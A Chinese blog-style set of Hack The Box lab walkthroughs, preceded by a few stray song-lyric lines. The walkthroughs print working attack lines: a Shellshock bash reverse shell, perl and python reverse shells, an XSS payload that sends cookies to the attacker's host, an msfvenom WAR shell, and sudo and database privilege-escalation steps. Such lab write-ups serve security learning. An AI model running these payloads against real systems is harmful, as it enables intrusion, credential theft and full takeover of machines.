- doremi doremi doremi
- she stuck on my head like
- melody melody
- marry me
- all the way up im be like
- guess i can be ur man on my bed
- 抓住你双手
- 别放我在friend zone
HTB-Shocker
0x01 端口扫描
常见开放端口如下:
- 80端口:HTTP服务
- 2222端口:SSH服务
访问80
未发现有价值信息
0x02 目录扫描
其中重点查看cgi-bin目录,其中会存放一些.pl、.sh以及.cgi等格式的可执行脚本,对其进行文件遍历。
获取到敏感文件user.sh
通过查看该文件发现此脚本是实时运行的。
访问该脚本时会通过调用一个bash shell终端来实时执行uptime命令,并通过下载文件的方式返回执行结果。
0x03 ShellShock漏洞
使用BP抓包,并修改UA
() { :;};echo ; echo; echo $(/bin/ls -al /);
存在shellshock漏洞并列出了/bin目录下的所有文件
修改exp
() { :;};/bin/bash -i >& /dev/tcp/10.10.16.2/8888 0>&1;
获取低权限shell
获取一个标准终端
python -c ‘import pty;pty.spawn(“/bin/bash”)’
此处小坑:
报错没有Python,实际上是有的,查看发现装的python3,因此修改命令
python3 -c ‘import pty;pty.spqwn(“/bin/bash”)’
0x04 提权
查看到当前用户有免密码使用root权限的perl的权限。
因此思路如下:
- 可构造perl代码获取一个新的root权限的反弹shell
- 构建perl代码执行系统命令,在shelly用户权限的反弹shell中开启一个root权限终端
perl代码获取新的root权限反弹shell
sudo /usr/bin/perl -e 'use Socket;$i="10.10.16.2";$p=1101;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">$S");open(STDOUT,">$S");open(STDERR,">$S");exec("/bin/sh -i");};'
perl代码执行系统命令在低权限shell中开启root终端
sudo /usr/bin/perl -e ‘exec “/bin/sh”‘
0x05 总结
- 注意/cgi-bin/等目录下的脚本文件
- bash使用的环境通过函数名称调用的,导致漏洞出问题是以”(){“开头定义的环境变量在命令ENV中解析成函数后,Bash执行并退出,而是继续解析并执行shell命令。核心原因在于没有严格过滤输入的参数
- 执行CGI时会调用Bash将refere、host、UserAgent、header等作为环境变量进行处理
- Perl获取反弹shell
- Perl在shell中开启root终端
- 无回显情况可参照sql盲注的延时方法,使用sleep函数判断是否存在漏洞
HTB-Sense
0x01 端口扫描
常见开放端口如下:
- 80端口:HTTP服务
- 443端口:HTTPS服务
同时获得系统信息FreeBSD8.1
访问80
搜索该logo发现这是一个开源防火墙
0x02 pfSense授权后的命令执行
搜索漏洞能够发现两个命令执行漏洞,但都需要登录后
先做一遍目录扫描搜集信息,获得的两个txt文件有价值。一个说该系统有一个漏洞,另一个给了我们一个用户名和密码。
使用该密码尝试登录
该账号密码无法登录,根据密码这两个单词的翻译是默认密码的意思,于是去搜索pfSense的默认密码,最终
的用户名密码为:
username:rohit
password:pfsense
成功登录防火墙。
下载exp并按指示使用
0x03 总结
- 端口扫描获取web站点
- 目录扫描获取站点登录凭证
- 搜索默认口令登录防火墙
- 利用防火墙任意命令执行获取root权限
HTB-Redcross
0x01 端口扫描
开启常见端口如下:
- 22端口:SSH服务
- 80端口:HTTP服务
- 443端口:HTTPS服务
访问不到80端口
发现也页面被跳转到了https服务并且域名为intra.redcross.htb
因此我们修改kali的hosts文件,重新启动一下网络服务,重新进行访问
小坑,此处我把ipv4的地址填到ipv6那里了,大家记得填在上方ipv4的位置
/etc/init.d/networking restart
访问到的页面内容如下:
点击contact form链接将跳转至https://intra.redcross.htb/?page=contact
0x02 XSS测试
此处设置3个并使其弹出不同的数字,这样我们即可通过弹出的数字不同准确的找到哪里存在xss
并没有弹框,但根据也页面回显的内容我们确定第三个框可能存在XSS漏洞。
更换XSS的POC,使其弹出cookie
<script>var myimg = new Image();myimg.src = ‘http://10.10.16.5/q?=’+ document.cookie;</script>
其中10.10.16.5为kali的ip地址
获取到cookie如下
PHPSESSID=b9qhrlc0vhfsanp0ejnpsjeat3;%20LANG=EN_US;%20SINCE=1691670730;%20LIMIT=10;%20DOMAIN=admin
0x03 利用XSS获取web系统管理权限
修改cookie的值
保持调试模式刷新页面
0x04 子域名系统
根据文字提示
Please could you check the admin webpanel?
将admin.redcross.htb加入hosts文件
访问admin.redcross.htb内容如下
再次使用刚刚获得的管理员cookie进行尝试
替换cookie后刷新页面
0x05 添加系统用户
添加用户后获得我们的账户和密码
RA : LXtGpUnF
可以看到具有uid和gid等,很像Linux的账户
尝试进行ssh链接
ssh 10.10.10.113 -l RA
获得了一个低权限shell
0x06 Web系统授权后RCE
点击
显然此处可以尝试RCE
Ip后拼接;和命令报错
输入正常ip则出现一个deny按钮
点击并抓包
拼接命令并将其进行url编码
成功执行了我们的命令
开启监听一个端口1101
使用如下payload:
ip=127.0.0.1%;ip=1;python+c+’import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect((“10.10.16.5”,1101))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call([“/bin/sh”,”-i”])%3b’&action=deny&id=14&action=deny
成功获取反弹shell
获取到www-data用户
www-data权限更高些
0x07 获取标准终端
python -c ‘import pty;pty.spawn(“/bin/bash”)’
再禁用终端回显
stty raw -echo
查看actions.php
在其中看到deny功能的方法
可以看到因为未对用户输入进行过滤,因此最后执行的语句变成了
/opt/iptctl/iptctl restrict 127.0.0.1;id
造成了RCE漏洞
查看添加用户部分
生成随机密码,并使用unixusrmgr数据库用户名和密码将用户存入到passwd_table数据表中。
0x08 篡改web系统用户添加功能
此处因为添加的用户可ssh直接登录,因此我们如果篡改了数据库中的权限,如果这些修改同样被应用到/etc/passwd中是不是就能直接提权了呢?添加用户的代码中可看到链接数据库的函数为
pg_connect(“host=127.0.0.1 dbname=unix user=unixusrmgr password=dheu%7wjx8B&”);
由此得知该函数是针对PostgreSQL数据库的操作函数
使用命令
psql -h 127.0.0.1 -d unix -U unixusrmgr -W
接下来输入密码
dheu%7wjx8B&
成功连接数据库,查看数据库中的数据表
查看passwd_table数据表中的所有内容
获取到tricia的密码密文及uid,gid
使用命令修改密码的密文为已知密码的密文,明文为toor
update passwd_table set passwd=’sXuCKi7k3Xh/s’ where username =’tricia’;
使用命令查看sudo用户组
接下来修改gid,将tricia加入到具有root权限的组中,这里root权限的组为27,因此我们修改gid为27即可获得root权限
update passwd_table set gid=27 where username=’tricia’;
修改完成后使用\q退出数据库
切换至tricia账户
使用命令
至此拿到root权限
0x09 总结
- 注意观察连接的改变,添加Host获取访问页面
- 通过XSS获取管理员的cookie进入站点
- 仔细观察站点线索,获取其他站点系统
- 使用管理员cookie突破系统,同域名网站可能共用cookie
- 尝试添加的用户登录ssh
- 尝试功能点上的RCE,并使用url编码避免出现问题
- 通过搜集机器上的脚本信息,对其进行代码审计,发现其使用的数据库等信息。
- 连接数据库,通过修改数据库的密码和gid获取具有sudo命令的账户
- 使用具有sudo命令的账户切换至root用户,获取最高权限。
HTB-Poison
0x01 端口扫描
常见端口如下:
- 80端口:HTTP服务
- 22端口:SSH服务
访问80端口
0x02 泄露的登录凭证
根据页面的提示我们访问提示的文件,可发现能够读取到对应文件的内容。
访问pwdbackup.txt
内容大致如下,提示这密码至少加密了13次,然后是一串加密字符串。根据特征可大致判断为base64。我们复制密文去解密。
拥有了密码,但我们目前还无法确定用户归属。
0x03 目录穿越漏洞
构造payload如下成功读取到/etc/passwd文件
这里我们发现和密码关联的用户charix,可尝试ssh登录。
0x04 组合利用线索获取主机访问权限
通过我们获得的密码和用户名尝试ssh登录
至此我们获得了低权限
0x05 从目录穿越到LFI(本地文件包含)
通过利用目录穿越时我们可以发现,读取的php文件内容并非是以文本的形式展现的,而是以php代码执行结果的形式展现的,这表明该漏洞很可能不仅仅是一个目录穿越漏洞,更可能是一个LFI漏洞,那么我们便可以通过LFI转化成RCE。
0x06 LFI转化为RCE
本次基于Apache中间件access.log日志文件的写入形式来利用LFI
首先通过前期的信息搜集可得知操作系统为freeBSD,Apache中间件版本为2.4.29。
我们猜测access.log文件在/var/log/httpd-access.log处,构造url进行访问。
可以看到日志文件中记录了很多内容,如来源IP,访问时间,请求方式,访问页面地址,访问参数,访问结果及浏览器UA等内容,很明显这其中多个数据是我们可以在访问过程中修改和控制的。
尝试日志写入webshell
访问该地址不会产生任何效果,但会在access.log中写入一条日志信息,当拥有LFI漏洞的使用权时即可使用LFI漏洞访问access.log,上述payload中的webshell就会被当作代码来执行。
通过日志发现写入的webshell符号被转义了,该方法不可行。
既然会被浏览器转义,那么我们找到一个不会被转义的地方插入即可,UA就是一个非常好的位置。
抓包后修改UA,插入一句话木马
通过LFI漏洞访问access.log
提示无法执行空命令,说明我们修改UA写入的webshell生效了。
构造payload进一步验证
至此我们拿下了charix用户和www用户的权限。
0x07 本地脆弱性枚举
ssh登录charix账户发现存在一个secret.zip压缩包,看名字可能包含敏感信息。
首先在kali使用命令,让nc监听4000端口,并将数据保存为secret.zip
接下来在目标主机使用命令调用nc程序将zip文件远程传输到本地的4000端口。
本地查看压缩包
使用之前得到的密码成功解压,但解压后的文件无法直接读取
暂且放置,上传linPEAS进行本地脆弱性搜集
枚举进程发现目前有一个root执行的vnc程序,且目前处于可连接的本地监听状态。
VNC程序
vnc是一种远程操作软件,用户可借助vnc进行操作系统的远程连接,并像在本地一样对远程系统进行访问和操作。此次目标主机开放root权限的vnc程序监听,意味着如果我们有机会连接该vnc可直接获得root身份的操作系统远程访问权限。
0x08 本地脆弱性-root权限的vnc会话
为了获得vnc连接,需要在目标主机本地的5901端口进行端口映射,并将其连接权限转发到其他对外端口上。这里通过ssh服务实现将远程端口映射到本地。
接下来基于vncviewer对kali系统的5901端口进行登录尝试,这时会提示需要密码,且charix用户密码不再起作用。考虑到vncviewer还支持以密码文件的形式提供认证凭证,加上之前无法读取的secret文件,我们可尝试使用该方法登录。
至此我们拿下root权限
0x09 总结
- 敏感文件泄露登录凭证
- 目录穿越到LFI
- LFI2RCE:Apache中间件access.log写入webshell
- LFI2RCE:绕过浏览器转义,修改UA写入webshell
- 组合利用登录ssh获取charix权限
- 本地脆弱性枚举获取带有root权限的vnc程序
- vnc仅允许本地访问,端口映射至本机
- vncviewer使用密码文件访问,拿下root权限
HTB-Optimum
0x01 端口扫描
此处为远程主机,速度较慢,可拆分全部扫描任务分布进行扫描,先获取一部分信息,进行分析利用,再后台扫描剩余部分。
看到80端口
看到httpfileserver2.3
0x02 HFS 2.3 RCE
直接使用MSF
查看到当前用户为kostas,并非windows的最高权限system
查看系统信息
0x03 脆弱性搜集
将systeminfo内容保存到本地,并放到windows-exploit-sussester目录下
更新windows-exploit-suggester.py并将其生成的xslx与systeminfo对比找出可用漏洞
此处小坑:
此处需要python2并且要指定xlrd版本1.2.0
通过获取到的可能存在的漏洞信息,我们选择MS16-098进行利用
0x04 MS16-098 windows内核池溢出
下载exp
可以看到exp是.exe,那我们就需要开启一个http服务,然后使用命令让其下载下来再运行。这里利用Powershell的DownloadFile()函数进行下载。
0x05 总结
- 分步扫描提高效率
- HSF 2.3 RCE获取权限
- 搜集windows主机信息,比对systeminfo获取可利用漏洞信息,注意python2环境及xlrd指定版本。
- MS16-098内核池溢出漏洞提权
- Powershell下载exe文件运行
HTB-Nibbles
0x01 端口扫描
扫描情况如下:
- 22端口:SSH服务
- 80端口:HTTP服务
访问80端口
查看源代码
注释中有内容,先保存下来
访问该目录,看到了一个页面
根据页面右下角指纹可知这是一个开源的博客系统。
0x02 目录扫描
先对网站根目录进行扫描,未发现什么有用的线索。
再对网站目录扫描,发现一些链接及文件
访问这些线索
其中有一个登陆页面
一个install.php的页面
和一个admin用户名但不知道密码
0x03 遗留的web敏感文件
点击更新我们发现了Nibbleblog4.0.3的版本号和两个疑似数据库的路径
通过exploit的讲解我们得知必须要获得管理员权限才能够使用该漏洞
0x05 登陆凭证猜测
无法使用爆破,应该设置了尝试次数机制根据猜测最后的密码为admin/nibbles
登陆系统后页面如下
漏洞非常简单,找到对应的功能点,上传php-reverse-shell即可,保存在了该插件的目录下,且名称为
image.php
http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php
访问获得反弹shell后获取标准终端并禁用回显
使用命令查看是否有提权可利用的命令
发现我们可以无root密码使用 /home/nibbler/personal/stuff/monitor.sh 并且从 /home/nibbler/ 又可知道该目录是当前用户的个人目录,那么意味着nibbler用户对该目录有完整的读、写和执行权限。
使用命令写入
echo "#! /bin/sh" > monitor.sh
echo "bash" >> monitor.sh
这里我是笨比,不会换行,直接写了两次
给monitor.sh添加执行权限,然后sudo运行一下,获取root权限
0x06 总结
- 查看源代码发现更多有价值的线索
- 访问页面获取系统关键词
- 对根目录扫描和网站目录扫描结果可能不同
- 遗留的安装文件等泄露系统版本信息
- 配置文件获取admin用户名
- 无法对密码进行爆破时,尝试使用相关的内容进行猜测
- 登陆成功后的任意文件上传
- 修改脚本sudo提权
HTB-Legacy
0x01 端口扫描
nmap -sV -v --script=vuln 10.10.10.4
通过脚本验证存在可利用漏洞MS17-010和MS08-067两个漏洞
0x02 MS08-067
使用MSF直接打穿
tips:
文件太多难以寻找,可通过切换到根目录,使用命令搜索 dir 文件名 /s /p ,其中/s为查找当前目录及所有子目录下的文件和文件夹,包括隐藏的文件和系统文件,/p为分页显示
0x03 MS17-010
直接MSF,因为是x86,所以使用/exploit/windows/smb/ms17-010-psexec这个payload
0X04 总结
- nmap可配置脚本进行漏洞扫描
- MS08-067内核池溢出获取权限
- MS17-010永恒之蓝获取权限
- MS17-010需要区分是32位还是64位
HTB-Lame
0x01 端口扫描
- 21端口:ftp服务
- 22端口:SSH服务
- 139端口:samba服务
- 445端口:samba服务
0x02 ftp服务
FTP匿名登陆
尝试匿名登陆
登陆成功但无可用信息
vsftpd 2.3.4 RCE
使用MSF利用漏洞,利用失败
0x03 Samba Username Map Script命令执行
列出Samba共享
尝试无密码登陆
Samba 3.0.20 RCE
使用MSF利用
0x04 总结
- 不要漏看端口及服务的结果,很可能错失机会
- ftp匿名登陆
- samba列出共享无密码/弱口令登陆
- samba 3.0.20 RCE
HTB-Jerry
0x01 端口扫描
开放端口如下:
- 8080端口:Tomcat 7.0.88
操作系统猜测为windows系统
访问8080端口
0x02 Tomcat应用管理服务的弱口令
尝试使用MSF自带的爆破工具进行爆破
等待一段时间获得账户和密码
成功登录,我们获得了war包应用文件的上传和部署权限
接下来构造一个war包然后上传,命令如下
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.2 LPORT=8888 -f war > xxxwtbb99.war
监听1101端口
至此我们拿下了最高权限SYSTEM权限,因为主机系统为windows系统,且Tomcat应用管理服务运行于system权限之下,因此我们直接获得了最高的SYSTEM权限。
0x03 总结
- 信息搜集获得tomcat默认页面
- tomcat manager app 弱口令登录
- 上传war包部署并访问,获得SYSTEM权限